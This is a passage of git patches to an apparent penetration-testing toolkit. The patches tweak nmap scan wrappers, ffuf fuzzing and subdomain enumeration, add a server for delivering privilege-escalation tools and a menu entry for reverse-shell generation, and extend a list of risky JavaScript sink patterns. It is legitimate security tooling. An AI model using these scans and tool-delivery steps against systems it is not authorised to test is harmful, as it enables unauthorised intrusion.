"\t\t -> run version detection + nse scripts against $ports..." + nmap -p"$ports" -sV -sC -A -n "$1" -oN ./"$1".log + echo -e "[+] Done!" +} + # runs Python 3 built-in HTTP server on [PORT] http_server() { echo -e "$BLUE[+] Running Simple HTTP Server in current directory on port $1$CLR" @@ -449,6 +460,9 @@ case "$cmd" in full_nmap_scan) full_nmap_scan "$2" ;; + quick_nmap_scan) + quick_nmap_scan "$2" "$3" + ;; http_server) http_server "$2" ;; @@ -529,6 +543,7 @@ case "$cmd" in echo -e "$BLUE:: RECON ::$CLR" echo -e "\tsubdomenum [SCOPE_FILE] [OUTPUT_DIR]\t\t -> full scope subdomain enumeration + HTTP(S) denumerator on all identified domains" echo -e "\tfull_nmap_scan [IP]\t\t\t\t -> nmap -p- to enumerate ports + -sV -sC -A on found open ports" + echo -e "\tquick_nmap_scan [IP][PORTS]\t\t\t -> nmap --top-ports [PORTS] to quickly enumerate N-ports + -sV -sC -A on found open ports" echo -e "\tnfs_enum [IP]\t\t\t\t\t -> enumerates nfs shares on [IP] (2049 port has to be open/listed in rpcinfo)" echo -e "$BLUE:: AMAZON AWS S3 ::$CLR" echo -e "\ts3 [bucket]\t\t\t\t\t -> checks privileges on AWS S3 bucket (ls, cp, mv etc.)" From c0875374bab565b1ef98b54485b5f1860a3856ab Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Wed, 23 Jun 2021 23:38:07 +0100 Subject: [PATCH 085/369] s0mbra: display content of the directory where http_server command was executed --- s0mbra.sh | 3 +++ 1 file changed, 3 insertions(+) diff --git a/s0mbra.sh b/s0mbra.sh index 71be945..43b5b3a 100755 --- a/s0mbra.sh +++ b/s0mbra.sh @@ -107,6 +107,9 @@ quick_nmap_scan() { # runs Python 3 built-in HTTP server on [PORT] http_server() { echo -e "$BLUE[+] Running Simple HTTP Server in current directory on port $1$CLR" + echo -e "$YELLOW available files/folders in SERVER ROOT: $CLR" + ls -l + echo -e "\n\n" python3 -m http.server "$1" } From a2e5f20b152e1ad47b8aa8e435bfc43efa44253b Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Sat, 26 Jun 2021 11:19:41 +0100 Subject: [PATCH 086/369] [s0mbra] nmap quick and full scan for N top ports; XML output file for searchsploit --- s0mbra.sh | 20 +++++++++----------- 1 file changed, 9 insertions(+), 11 deletions(-) diff --git a/s0mbra.sh b/s0mbra.sh index 43b5b3a..6451883 100755 --- a/s0mbra.sh +++ b/s0mbra.sh @@ -83,24 +83,22 @@ interactive() { esac } -# runs -p- against IP; then -sV -sC -A against every open port found +# runs $2 port(s) against IP; then -sV -sC -A against every open port found full_nmap_scan() { - echo -e "$BLUE[+] Running full nmap scan against $1 ...$CLR" + echo -e "$BLUE[+] Running full nmap scan against $2 port(s) on $1 ...$CLR" echo -e "\t\t -> search all open ports..." - ports=$(nmap -p- "$1" | grep open | cut -d'/' -f 1 | tr '\n' ',') + ports=$(nmap --top-ports "$2" $1 | grep open | cut -d'/' -f 1 | tr '\n' ',') echo -e "\t\t -> run version detection + nse scripts against $ports..." - nmap -p"$ports" -sV -sC -A -n "$1" -oN ./"$1".log + nmap -p"$ports" -sV -sC -A -v -n "$1" -oN ./"$1".log -oX ./"$1".xml echo -e "[+] Done!" } -# runs --top-ports 1000 against IP; then -sV -sC -A against every open port found +# runs --top-ports $2 against IP quick_nmap_scan() { echo -e "$BLUE[+] Running nmap scan against top $2 ports on $1 ...$CLR" echo -e "\t\t -> search top $2 open ports..." - ports=$(nmap --top-ports $2 "$1" | grep open | cut -d'/' -f 1 | tr '\n' ',') - echo -e "\t\t -> run version detection + nse scripts against $ports..." - nmap -p"$ports" -sV -sC -A -n "$1" -oN ./"$1".log + nmap --top-ports $2 $1 echo -e "[+] Done!" } @@ -461,7 +459,7 @@ case "$cmd" in subdomenum "$2" "$3" ;; full_nmap_scan) - full_nmap_scan "$2" + full_nmap_scan "$2" "$3" ;; quick_nmap_scan) quick_nmap_scan "$2" "$3" @@ -545,8 +543,8 @@ case "$cmd" in echo -e "\tset_ip [IP]\t\t\t\t\t -> sets IP in current Bash session to use by other s0mbra commands" echo -e "$BLUE:: RECON ::$CLR" echo -e "\tsubdomenum [SCOPE_FILE] [OUTPUT_DIR]\t\t -> full scope subdomain enumeration + HTTP(S) denumerator on all identified domains" - echo -e "\tfull_nmap_scan [IP]\t\t\t\t -> nmap -p- to enumerate ports + -sV -sC -A on found open ports" - echo -e "\tquick_nmap_scan [IP][PORTS]\t\t\t -> nmap --top-ports [PORTS] to quickly enumerate N-ports + -sV -sC -A on found open ports" + echo -e "\tfull_nmap_scan [IP] [PORTS]\t\t\t -> nmap --top-ports [PORTS] to enumerate ports + -sV -sC -A on found open ports" + echo -e "\tquick_nmap_scan [IP] [PORTS]\t\t\t -> nmap --top-ports [PORTS] to quickly enumerate open N-ports" echo -e "\tnfs_enum [IP]\t\t\t\t\t -> enumerates nfs shares on [IP] (2049 port has to be open/listed in rpcinfo)" echo -e "$BLUE:: AMAZON AWS S3 ::$CLR" echo -e "\ts3 [bucket]\t\t\t\t\t -> checks privileges on AWS S3 bucket (ls, cp, mv etc.)" From 615e2ecb738161203161f59da786e00b2b46b1c8 Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Mon, 28 Jun 2021 02:52:23 +0100 Subject: [PATCH 087/369] [s0mbra] improvements --- s0mbra.sh | 27 +++++++++++++++++---------- 1 file changed, 17 insertions(+), 10 deletions(-) diff --git a/s0mbra.sh b/s0mbra.sh index 6451883..a7166e4 100755 --- a/s0mbra.sh +++ b/s0mbra.sh @@ -87,7 +87,7 @@ interactive() { full_nmap_scan() { echo -e "$BLUE[+] Running full nmap scan against $2 port(s) on $1 ...$CLR" echo -e "\t\t -> search all open ports..." - ports=$(nmap --top-ports "$2" $1 | grep open | cut -d'/' -f 1 | tr '\n' ',') + ports=$(nmap --top-ports "$2" $1 -v | grep open | cut -d'/' -f 1 | tr '\n' ',') echo -e "\t\t -> run version detection + nse scripts against $ports..." nmap -p"$ports" -sV -sC -A -v -n "$1" -oN ./"$1".log -oX ./"$1".xml echo -e "[+] Done!" @@ -98,17 +98,24 @@ full_nmap_scan() { quick_nmap_scan() { echo -e "$BLUE[+] Running nmap scan against top $2 ports on $1 ...$CLR" echo -e "\t\t -> search top $2 open ports..." - nmap --top-ports $2 $1 + nmap -v --top-ports $2 $1 echo -e "[+] Done!" } # runs Python 3 built-in HTTP server on [PORT] -http_server() { +http() { echo -e "$BLUE[+] Running Simple HTTP Server in current directory on port $1$CLR" - echo -e "$YELLOW available files/folders in SERVER ROOT: $CLR" + echo -e "$GRAY\navailable network interfaces:$YELLOW" + ifconfig | grep -e 'inet\s' |cut -d' ' -f 2 + echo -e "$GRAY\navailable files/folders in SERVER ROOT: $CLR" ls -l echo -e "\n\n" - python3 -m http.server "$1" + if [[ -z "$1" ]]; then + PORT=7777; + else + PORT=$1 + fi + python3 -m http.server $PORT } # runs john with rockyou.txt against hash type [FORMAT] and file [HASHES] @@ -167,7 +174,7 @@ privesc_tools_linux() { echo -e "$BLUE[+] Available tools:$CLR" tree -L 2 . echo -e "$BLUE[+] Starting HTTP server on port 9119...$CLR" - http_server 9119 + http 9119 } @@ -177,7 +184,7 @@ privesc_tools_windows() { echo -e "$BLUE[+] Available tools:$CLR" ls -lR . echo -e "$BLUE[+] Starting HTTP server on port 9119...$CLR" - http_server 9119 + http 9119 } # enumerates SMB shares on [IP] - port 445 has to be open @@ -464,8 +471,8 @@ case "$cmd" in quick_nmap_scan) quick_nmap_scan "$2" "$3" ;; - http_server) - http_server "$2" + http) + http "$2" ;; rockyou_john) rockyou_john "$2" "$3" @@ -550,7 +557,7 @@ case "$cmd" in echo -e "\ts3 [bucket]\t\t\t\t\t -> checks privileges on AWS S3 bucket (ls, cp, mv etc.)" echo -e "\ts3go [bucket] [key]\t\t\t\t -> get object identified by [key] from AWS S3 [bucket]" echo -e "$BLUE:: PENTEST TOOLS ::$CLR" - echo -e "\thttp_server [PORT]\t\t\t\t -> runs HTTP server on [PORT] TCP port" + echo -e "\thttp [PORT]\t\t\t\t -> runs HTTP server on [PORT] TCP port" echo -e "\tprivesc_tools_linux \t\t\t\t -> runs HTTP server on port 9119 in directory with Linux PrivEsc tools" echo -e "\tprivesc_tools_windows \t\t\t\t -> runs HTTP server on port 9119 in directory with Windows PrivEsc tools" echo -e "\tgenerate_shells [IP] [PORT] \t\t\t -> generates ready-to-use reverse shells in various languages for given IP:PORT" From 18b824e94091eab43e42bba674050f8dc1ecf257 Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Thu, 1 Jul 2021 01:19:57 +0100 Subject: [PATCH 088/369] [nodestructor] some new patterns added --- nodestructor/nodestructor.py | 49 +++++++++++++++++++++++++++++++++++- 1 file changed, 48 insertions(+), 1 deletion(-) diff --git a/nodestructor/nodestructor.py b/nodestructor/nodestructor.py index 16f0430..a59d428 100755 --- a/nodestructor/nodestructor.py +++ b/nodestructor/nodestructor.py @@ -124,7 +124,54 @@ ".*prepend", ".*setContent\(", ".*setHTML\(", - ".*\.SafeString\(" + ".*\.SafeString\(", + ".*jQuery.globalEval", + ".*execScript", + ".*element.insertAdjacentHTML", + ".*element.setAttribute.on", + "xhr.open", + "xhr.send", + "fetch", + "xhr.setRequestHeader.name", + "xhr.setRequestHeader.value", + "jQuery.attr.href", + "jQuery.attr.src", + "jQuery.attr.data", + "jQuery.attr.action", + "jQuery.attr.formaction", + "jQuery.prop.href", + "jQuery.prop.src", + "jQuery.prop.data", + "jQuery.prop.action", + "jQuery.prop.formaction", + "form.action", + "input.formaction", + "button.formaction", + "button.value", + "element.setAttribute.href", + "element.setAttribute.src", + "element.setAttribute.data", + "element.setAttribute.action", + "element.setAttribute.formaction", + "webdatabase.executeSql", + "document.domain", + "history.pushState", + "history.replaceState", + "xhr.setRequestHeader", + "websocket", + "anchor.href", + "anchor.target", + "JSON.parse", + "document.cookie", + "localStorage.setItem.name", + "localStorage.setItem.value", + "sessionStorage.setItem.name", + "sessionStorage.setItem.value", + "element.outerText", + "element.innerText", + "element.textContent", + "element.style.cssText", + "RegExp" ] url_regex = re.compile("(https|http):\/\/[a-zA-Z0-9#=\-\?\&\/\.]+") From e5751208ee1ef5c77a84975351c9d789b82f8d1c Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Fri, 2 Jul 2021 00:59:43 +0100 Subject: [PATCH 089/369] SonarCloud integration --- .github/workflows/build.yml | 20 ++++++++++++++++++++ 1 file changed, 20 insertions(+) create mode 100644 .github/workflows/build.yml diff --git a/.github/workflows/build.yml b/.github/workflows/build.yml new file mode 100644 index 0000000..c3c313d --- /dev/null +++ b/.github/workflows/build.yml @@ -0,0 +1,20 @@ +name: Build +on: + push: + branches: + - master + pull_request: + types: [opened, synchronize, reopened] +jobs: + sonarcloud: + name: SonarCloud + runs-on: ubuntu-latest + steps: + - uses: actions/checkout@v2 + with: + fetch-depth: 0 # Shallow clones should be disabled for a better relevancy of analysis + - name: SonarCloud Scan + uses: SonarSource/sonarcloud-github-action@master + env: + GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }} # Needed to get PR information, if any + SONAR_TOKEN: ${{ secrets.SONAR_TOKEN }} From 899c3d7d90f920816002656a7f78c2082a9a5807 Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Fri, 2 Jul 2021 01:00:25 +0100 Subject: [PATCH 090/369] SonarCloud integration --- sonar-project.properties | 13 +++++++++++++ 1 file changed, 13 insertions(+) create mode 100644 sonar-project.properties diff --git a/sonar-project.properties b/sonar-project.properties new file mode 100644 index 0000000..3fb79ea --- /dev/null +++ b/sonar-project.properties @@ -0,0 +1,13 @@ +sonar.projectKey=bl4de_security-tools +sonar.organization=bl4de + +# This is the name and version displayed in the SonarCloud UI. +#sonar.projectName=security-tools +#sonar.projectVersion=1.0 + +# Path is relative to the sonar-project.properties file. Replace "\" by "/" on Windows. +#sonar.sources=. + +# Encoding of the source code. Default is default system encoding +#sonar.sourceEncoding=UTF-8 + From f288d572fcdae9c6648a51c0fb5040bcbedbe854 Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Fri, 2 Jul 2021 01:06:13 +0100 Subject: [PATCH 091/369] removed SonarCloud --- .github/workflows/build.yml | 20 -------------------- sonar-project.properties | 13 ------------- 2 files changed, 33 deletions(-) delete mode 100644 .github/workflows/build.yml delete mode 100644 sonar-project.properties diff --git a/.github/workflows/build.yml b/.github/workflows/build.yml deleted file mode 100644 index c3c313d..0000000 --- a/.github/workflows/build.yml +++ /dev/null @@ -1,20 +0,0 @@ -name: Build -on: - push: - branches: - - master - pull_request: - types: [opened, synchronize, reopened] -jobs: - sonarcloud: - name: SonarCloud - runs-on: ubuntu-latest - steps: - - uses: actions/checkout@v2 - with: - fetch-depth: 0 # Shallow clones should be disabled for a better relevancy of analysis - - name: SonarCloud Scan - uses: SonarSource/sonarcloud-github-action@master - env: - GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }} # Needed to get PR information, if any - SONAR_TOKEN: ${{ secrets.SONAR_TOKEN }} diff --git a/sonar-project.properties b/sonar-project.properties deleted file mode 100644 index 3fb79ea..0000000 --- a/sonar-project.properties +++ /dev/null @@ -1,13 +0,0 @@ -sonar.projectKey=bl4de_security-tools -sonar.organization=bl4de - -# This is the name and version displayed in the SonarCloud UI. -#sonar.projectName=security-tools -#sonar.projectVersion=1.0 - -# Path is relative to the sonar-project.properties file. Replace "\" by "/" on Windows. -#sonar.sources=. - -# Encoding of the source code. Default is default system encoding -#sonar.sourceEncoding=UTF-8 - From 0b3b7505fc883c5fd65d6df8af008bb7fc860d07 Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Sun, 11 Jul 2021 11:56:01 +0100 Subject: [PATCH 092/369] [s0mbra] changes --- s0mbra.sh | 12 ++++++------ 1 file changed, 6 insertions(+), 6 deletions(-) diff --git a/s0mbra.sh b/s0mbra.sh index a7166e4..72ffa26 100755 --- a/s0mbra.sh +++ b/s0mbra.sh @@ -61,7 +61,7 @@ interactive() { trap '' SIGINT SIGQUIT SIGTSTP set_ip "$1" local choice - echo "$__logo" + # echo "$__logo" echo -e "$BLUE------------------------------------------------------------------------------------------------------" echo -e "Interactive mode\tTarget: $GREEN$IP$CLR" echo -e "$BLUE------------------------------------------------------------------------------------------------------" @@ -86,10 +86,10 @@ interactive() { # runs $2 port(s) against IP; then -sV -sC -A against every open port found full_nmap_scan() { echo -e "$BLUE[+] Running full nmap scan against $2 port(s) on $1 ...$CLR" - echo -e "\t\t -> search all open ports..." - ports=$(nmap --top-ports "$2" $1 -v | grep open | cut -d'/' -f 1 | tr '\n' ',') + echo -e "\t\t -> search open ports..." + ports=$(nmap --top-ports "$2" $1 | grep open | cut -d'/' -f 1 | tr '\n' ',') echo -e "\t\t -> run version detection + nse scripts against $ports..." - nmap -p"$ports" -sV -sC -A -v -n "$1" -oN ./"$1".log -oX ./"$1".xml + nmap -p"$ports" -sV -sC -A -n "$1" -oN ./"$1".log -oX ./"$1".xml echo -e "[+] Done!" } @@ -98,7 +98,7 @@ full_nmap_scan() { quick_nmap_scan() { echo -e "$BLUE[+] Running nmap scan against top $2 ports on $1 ...$CLR" echo -e "\t\t -> search top $2 open ports..." - nmap -v --top-ports $2 $1 + nmap --top-ports $2 $1 echo -e "[+] Done!" } @@ -451,7 +451,7 @@ php8() { cmd=$1 clear -echo "$__logo" +# echo "$__logo" case "$cmd" in php7) php7 From b6b2c2b70b137f220def9505ecad454ef9850c52 Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Wed, 14 Jul 2021 09:36:07 +0100 Subject: [PATCH 093/369] [s0mbra,denumerator] Changes --- denumerator/denumerator.py | 2 +- s0mbra.sh | 32 ++++++++++++++++++++++++-------- 2 files changed, 25 insertions(+), 9 deletions(-) diff --git a/denumerator/denumerator.py b/denumerator/denumerator.py index f32c086..5e6c4f0 100755 --- a/denumerator/denumerator.py +++ b/denumerator/denumerator.py @@ -307,7 +307,7 @@ def main(): parser.add_argument( "-d", "--dir", help="Output directory name (default: report/)") parser.add_argument( - "-c", "--code", help="Show only selected HTTP response status codes, comma separated", default='200' + "-c", "--code", help="Show only selected HTTP response status codes, comma separated", default='200,206,301,302,403,422,500' ) parser.add_argument( "-n", "--nmap", help="use nmap for port scanning (slows down the whole eenumeration A LOT, so be warned!)", default=100 diff --git a/s0mbra.sh b/s0mbra.sh index 72ffa26..58db3c6 100755 --- a/s0mbra.sh +++ b/s0mbra.sh @@ -85,20 +85,36 @@ interactive() { # runs $2 port(s) against IP; then -sV -sC -A against every open port found full_nmap_scan() { - echo -e "$BLUE[+] Running full nmap scan against $2 port(s) on $1 ...$CLR" - echo -e "\t\t -> search open ports..." - ports=$(nmap --top-ports "$2" $1 | grep open | cut -d'/' -f 1 | tr '\n' ',') - echo -e "\t\t -> run version detection + nse scripts against $ports..." - nmap -p"$ports" -sV -sC -A -n "$1" -oN ./"$1".log -oX ./"$1".xml + if [[ -z "$2" ]]; then + echo -e "$BLUE[+] Running full nmap scan against all ports on $1 ...$CLR" + echo -e "\t\t -> search open ports..." + ports=$(nmap -p- $1 | grep open | cut -d'/' -f 1 | tr '\n' ',') + echo -e "\t\t -> run version detection + nse scripts against $ports..." + nmap -p"$ports" -sV -sC -A -n "$1" -oN ./"$1".log -oX ./"$1".xml + else + echo -e "$BLUE[+] Running full nmap scan against $2 port(s) on $1 ...$CLR" + echo -e "\t\t -> search open ports..." + ports=$(nmap --top-ports "$2" $1 | grep open | cut -d'/' -f 1 | tr '\n' ',') + echo -e "\t\t -> run version detection + nse scripts against $ports..." + nmap -p"$ports" -sV -sC -A -n "$1" -oN ./"$1".log -oX ./"$1".xml + fi + echo -e "[+] Done!" } # runs --top-ports $2 against IP quick_nmap_scan() { - echo -e "$BLUE[+] Running nmap scan against top $2 ports on $1 ...$CLR" - echo -e "\t\t -> search top $2 open ports..." - nmap --top-ports $2 $1 + if [[ -z "$2" ]]; then + echo -e "$BLUE[+] Running nmap scan against all ports on $1 ...$CLR" + echo -e "\t\t -> search open ports..." + nmap -p- $1 + else + echo -e "$BLUE[+] Running nmap scan against top $2 ports on $1 ...$CLR" + echo -e "\t\t -> search top $2 open ports..." + nmap --top-ports $2 $1 + fi + echo -e "[+] Done!" } From 7555a0aaf43f0060761634c3d73c179e769b7087 Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Tue, 27 Jul 2021 21:42:02 +0100 Subject: [PATCH 094/369] [s0mbra: pwn mode; others: refactoring; bugfixes] --- enumeratescope.sh | 12 ------------ pef/pef.py | 15 +++++++-------- s0mbra.sh | 49 ++++++++++++----------------------------------- 3 files changed, 19 insertions(+), 57 deletions(-) diff --git a/enumeratescope.sh b/enumeratescope.sh index af4550b..a6d9aec 100755 --- a/enumeratescope.sh +++ b/enumeratescope.sh @@ -55,14 +55,6 @@ run_denumerator() { } -## performs nmap scan -run_virustotal_enum() { - echo -e "$(date) virustotal $CIDR enumeration started" >> subdomain_enum.log - # run virustotal.py reverse domain search - virustotal --cidr $CIDR --output domains/virustotal.domains - echo -e "$(date) virustotal $CIDR enumeration finished, $(cat domains/virustotal.domains|wc -l) domains found" >> subdomain_enum.log -} - ## ----------------------------------------------------------------------------- @@ -80,10 +72,6 @@ echo -e "$(date) subdomain_enum.sh started" > subdomain_enum.log # enusre that domains/ folder exists, if not create one create_domains_folder -if [[ -n $CIDR ]]; then - run_virustotal_enum -fi - cat $DOMAINS | while read DOMAIN do enumerate_domain $DOMAIN diff --git a/pef/pef.py b/pef/pef.py index 3873456..21c68fb 100755 --- a/pef/pef.py +++ b/pef/pef.py @@ -108,7 +108,7 @@ def analyse_line(self, l, i, fn, f, line, prev_line, next_line, prev_prev_line, verbose) return total - def print_code_line(self, _line, i, fn, prev_line="", next_line="", prev_prev_line="", next_next_line="", severity={}, verbose=False): + def print_code_line(self, _line, i, fn, prev_line="", next_line="", prev_prev_line="", next_next_line="", severity=None, verbose=False): """ prints formatted code line """ @@ -222,9 +222,7 @@ def main(self, src): total = self.analyse_line(l, i, refl, f, line, prev_line, next_line, prev_prev_line, next_next_line, verbose, total) - if total < 1: - pass - else: + if total > 0: print(beautyConsole.getColor("red") + "Found %d interesting entries\n" % (total) + beautyConsole.getSpecialChar("endline")) @@ -257,11 +255,13 @@ def run(self): else: print(" No interesting entries found :( \n") - print("{}==> {}:\t {}".format( + SUMMARY = "{}==> {}:\t {}" + + print(SUMMARY.format( beautyConsole.getColor("red"), "HIGH", self.severity.get("high"))) - print("{}==> {}:\t {}".format(beautyConsole.getColor( + print(SUMMARY.format(beautyConsole.getColor( "yellow"), "MEDIUM", self.severity.get("medium"))) - print("{}==> {}:\t {}".format(beautyConsole.getColor( + print(SUMMARY.format(beautyConsole.getColor( "green"), "LOW", self.severity.get("low"))) print("\n") @@ -304,7 +304,6 @@ def run(self): engine.run() except UnicodeDecodeError as e: print("UnicodeDecodeError in {}: {}".format(filename, e)) - pass except FileNotFoundError as e: print("Requested file not found, check the path :)") except IsADirectoryError as e: diff --git a/s0mbra.sh b/s0mbra.sh index 58db3c6..217bc02 100755 --- a/s0mbra.sh +++ b/s0mbra.sh @@ -56,33 +56,6 @@ set_ip() { export IP="$1" } -interactive() { - clear - trap '' SIGINT SIGQUIT SIGTSTP - set_ip "$1" - local choice - # echo "$__logo" - echo -e "$BLUE------------------------------------------------------------------------------------------------------" - echo -e "Interactive mode\tTarget: $GREEN$IP$CLR" - echo -e "$BLUE------------------------------------------------------------------------------------------------------" - echo -e "$YELLOW[1]$CLR\t\t $GRAY-> run full nmap scan + -sV -sC on open port(s)$CLR" - echo -e "$YELLOW[2]$CLR\t\t $GRAY-> run SMB enumeration (if port 445 is open)$CLR" - echo -e "$YELLOW[3]$CLR\t\t $GRAY-> run nfs scan (port 2049 open)$CLR" - echo -e "$YELLOW[4]$CLR\t\t $GRAY-> run nikto against HTTP server on port 80 with default plugins$CLR" - echo -e "" - echo -e "$YELLOW[0]$CLR\t\t $GRAY-> Quit" - echo -e "$BLUE------------------------------------------------------------------------------------------------------" - read -p ">> " choice - case $choice in - 1) full_nmap_scan "$IP" ;; - 2) smb_enum "$IP" ;; - 3) nfs_enum "$IP" ;; - 4) nikto -host "$IP" -Plugins tests ;; - 0) exit ;; - *) interactive "$IP" - esac -} - # runs $2 port(s) against IP; then -sV -sC -A against every open port found full_nmap_scan() { if [[ -z "$2" ]]; then @@ -406,8 +379,8 @@ abe() { fu() { clear - echo -e "$BLUE[+] Enumerate web resources on $1 with $2.txt dictionary; matching only HTTP 200 and 500...$CLR" - ffuf -c -w /Users/bl4de/hacking/dictionaries/$2.txt -u $1/FUZZ -mc 200,500 + echo -e "$BLUE[+] Enumerate web resources on $1 with $2.txt dictionary; matching only HTTP 200...$CLR" + ffuf -c -w /Users/bl4de/hacking/dictionaries/$2.txt -u $1/FUZZ -mc 200 } generate_shells() { @@ -464,11 +437,17 @@ php8() { echo -e "$CLR" } +pwn() { + echo -e "$BLUE[+] Running automated recon on $1...\n Puede tomar un poco tiempo, tienes que ser paciente... ;) $YELLOW" +} cmd=$1 clear # echo "$__logo" case "$cmd" in + pwn) + pwn "$2" + ;; php7) php7 ;; @@ -553,17 +532,13 @@ case "$cmd" in generate_shells) generate_shells "$2" "$3" ;; - interactive) - interactive "$2" - ;; *) clear echo -e "$GREEN I'm guessing there's no chance we can take care of this quietly, is there? - S0mbra$CLR" echo -e "--------------------------------------------------------------------------------------------------------------" - echo -e "Usage:\t$YELLOW s0mbra.sh {cmd} {arg1} {arg2}...{argN}" - echo -e "\t s0mbra.sh interactive {IP} (interactive mode)$CLR" # interactive\t\t -> TBD - echo -e "\n$BLUE:: COMMANDS IN INTERACTIVE MODE ::$CLR" - echo -e "\tset_ip [IP]\t\t\t\t\t -> sets IP in current Bash session to use by other s0mbra commands" + echo -e "Usage:\t$YELLOW s0mbra.sh {cmd} {arg1} {arg2}...{argN}\n" + echo -e "$BLUE:: PWN ::$CLR" + echo -e "\tpwn [DOMAIN]\t\t\t\t\t -> runs automated recon + pwning on DOMAIN" echo -e "$BLUE:: RECON ::$CLR" echo -e "\tsubdomenum [SCOPE_FILE] [OUTPUT_DIR]\t\t -> full scope subdomain enumeration + HTTP(S) denumerator on all identified domains" echo -e "\tfull_nmap_scan [IP] [PORTS]\t\t\t -> nmap --top-ports [PORTS] to enumerate ports + -sV -sC -A on found open ports" @@ -573,7 +548,7 @@ case "$cmd" in echo -e "\ts3 [bucket]\t\t\t\t\t -> checks privileges on AWS S3 bucket (ls, cp, mv etc.)" echo -e "\ts3go [bucket] [key]\t\t\t\t -> get object identified by [key] from AWS S3 [bucket]" echo -e "$BLUE:: PENTEST TOOLS ::$CLR" - echo -e "\thttp [PORT]\t\t\t\t -> runs HTTP server on [PORT] TCP port" + echo -e "\thttp [PORT]\t\t\t\t\t -> runs HTTP server on [PORT] TCP port" echo -e "\tprivesc_tools_linux \t\t\t\t -> runs HTTP server on port 9119 in directory with Linux PrivEsc tools" echo -e "\tprivesc_tools_windows \t\t\t\t -> runs HTTP server on port 9119 in directory with Windows PrivEsc tools" echo -e "\tgenerate_shells [IP] [PORT] \t\t\t -> generates ready-to-use reverse shells in various languages for given IP:PORT" From b66c1aa002fd714a72c88d65fa84870fa901bdf4 Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Thu, 12 Aug 2021 00:31:02 +0100 Subject: [PATCH 095/369] [s0mbra, denumerator] some minor changes --- enumeratescope.sh | 14 ++++++++++---- nodestructor/nodestructor.py | 10 +++++----- s0mbra.sh | 4 +--- 3 files changed, 16 insertions(+), 12 deletions(-) diff --git a/enumeratescope.sh b/enumeratescope.sh index a6d9aec..30b9f57 100755 --- a/enumeratescope.sh +++ b/enumeratescope.sh @@ -21,9 +21,10 @@ enumerate_domain() { local DOMAIN=$1 echo -e "$(date) started enumerate $DOMAIN" >> subdomain_enum.log sublister -d $DOMAIN -o domains/$DOMAIN.sublister - # amass enum -config $HOME/.config/amass/amass.ini -brute -min-for-recursive 1 -d $DOMAIN -o domains/$DOMAIN.amass + subfinder -d $DOMAIN -o domains/$DOMAIN.subfinder + amass enum -config $HOME/.config/amass/amass.ini -brute -min-for-recursive 1 -d $DOMAIN -o domains/$DOMAIN.amass - if [ -s domains/$DOMAIN.sublister ] || [ -s domains/$DOMAIN.amass ]; then + if [ -s domains/$DOMAIN.sublister ] || [ -s domains/$DOMAIN.amass ] || [ -s domains/$DOMAIN.subfinder ]; then cat domains/$DOMAIN.* > domains/$DOMAIN.all sort -u -k 1 domains/$DOMAIN.all > domains/$DOMAIN fi @@ -58,11 +59,16 @@ run_denumerator() { ## ----------------------------------------------------------------------------- -# list of domains - text file, one domain in single line +# list of domains - text file, one domain per line DOMAINS=$1 # output directory for denumerator -OUTPUT_DIR=$2 +if [ -z $2 ]; then + OUTPUT_DIR="report" +else + OUTPUT_DIR=$2 +fi + # IP address range CIDR=$3 diff --git a/nodestructor/nodestructor.py b/nodestructor/nodestructor.py index a59d428..18464d0 100755 --- a/nodestructor/nodestructor.py +++ b/nodestructor/nodestructor.py @@ -34,11 +34,11 @@ example usages: $ ./nodestructor filename.js - $ ./nodestructor -R ./dirname - $ ./nodestructor -R ./dirname --skip-node-modules --skip-test-files - $ ./nodestructor -R ./node_modules --exclude=babel,lodash,ansi - $ ./nodestructor -R ./node_modules --include=body-parser,chalk,commander - $ ./nodestructor -R ./node_modules --pattern="obj.dangerousFn\(" + $ ./nodestructor -r ./dirname + $ ./nodestructor -r ./dirname --skip-node-modules --skip-test-files + $ ./nodestructor -r ./node_modules --exclude=babel,lodash,ansi + $ ./nodestructor -r ./node_modules --include=body-parser,chalk,commander + $ ./nodestructor -r ./node_modules --pattern="obj.dangerousFn\(" """ nodejs_patterns = [ diff --git a/s0mbra.sh b/s0mbra.sh index 217bc02..25cc747 100755 --- a/s0mbra.sh +++ b/s0mbra.sh @@ -352,7 +352,7 @@ jadx() { apk() { clear echo -e "$BLUE[+] OK, let's see this APK...$CLR" - unzip $1 + unzip -d unzipped $1 if [[ "$?" == 0 ]]; then echo -e "\n$GREEN+ Unizpped, now run apktool on it...$CLR" apktool d $1 @@ -537,8 +537,6 @@ case "$cmd" in echo -e "$GREEN I'm guessing there's no chance we can take care of this quietly, is there? - S0mbra$CLR" echo -e "--------------------------------------------------------------------------------------------------------------" echo -e "Usage:\t$YELLOW s0mbra.sh {cmd} {arg1} {arg2}...{argN}\n" - echo -e "$BLUE:: PWN ::$CLR" - echo -e "\tpwn [DOMAIN]\t\t\t\t\t -> runs automated recon + pwning on DOMAIN" echo -e "$BLUE:: RECON ::$CLR" echo -e "\tsubdomenum [SCOPE_FILE] [OUTPUT_DIR]\t\t -> full scope subdomain enumeration + HTTP(S) denumerator on all identified domains" echo -e "\tfull_nmap_scan [IP] [PORTS]\t\t\t -> nmap --top-ports [PORTS] to enumerate ports + -sV -sC -A on found open ports" From c0801a776a9420a9f5560492982d5dd6abb1c21e Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Thu, 12 Aug 2021 14:29:29 +0100 Subject: [PATCH 096/369] [enumeratescope, s0mbra] small adjustments --- enumeratescope.sh | 10 +++++----- s0mbra.sh | 2 +- 2 files changed, 6 insertions(+), 6 deletions(-) diff --git a/enumeratescope.sh b/enumeratescope.sh index 30b9f57..1b4134a 100755 --- a/enumeratescope.sh +++ b/enumeratescope.sh @@ -22,7 +22,7 @@ enumerate_domain() { echo -e "$(date) started enumerate $DOMAIN" >> subdomain_enum.log sublister -d $DOMAIN -o domains/$DOMAIN.sublister subfinder -d $DOMAIN -o domains/$DOMAIN.subfinder - amass enum -config $HOME/.config/amass/amass.ini -brute -min-for-recursive 1 -d $DOMAIN -o 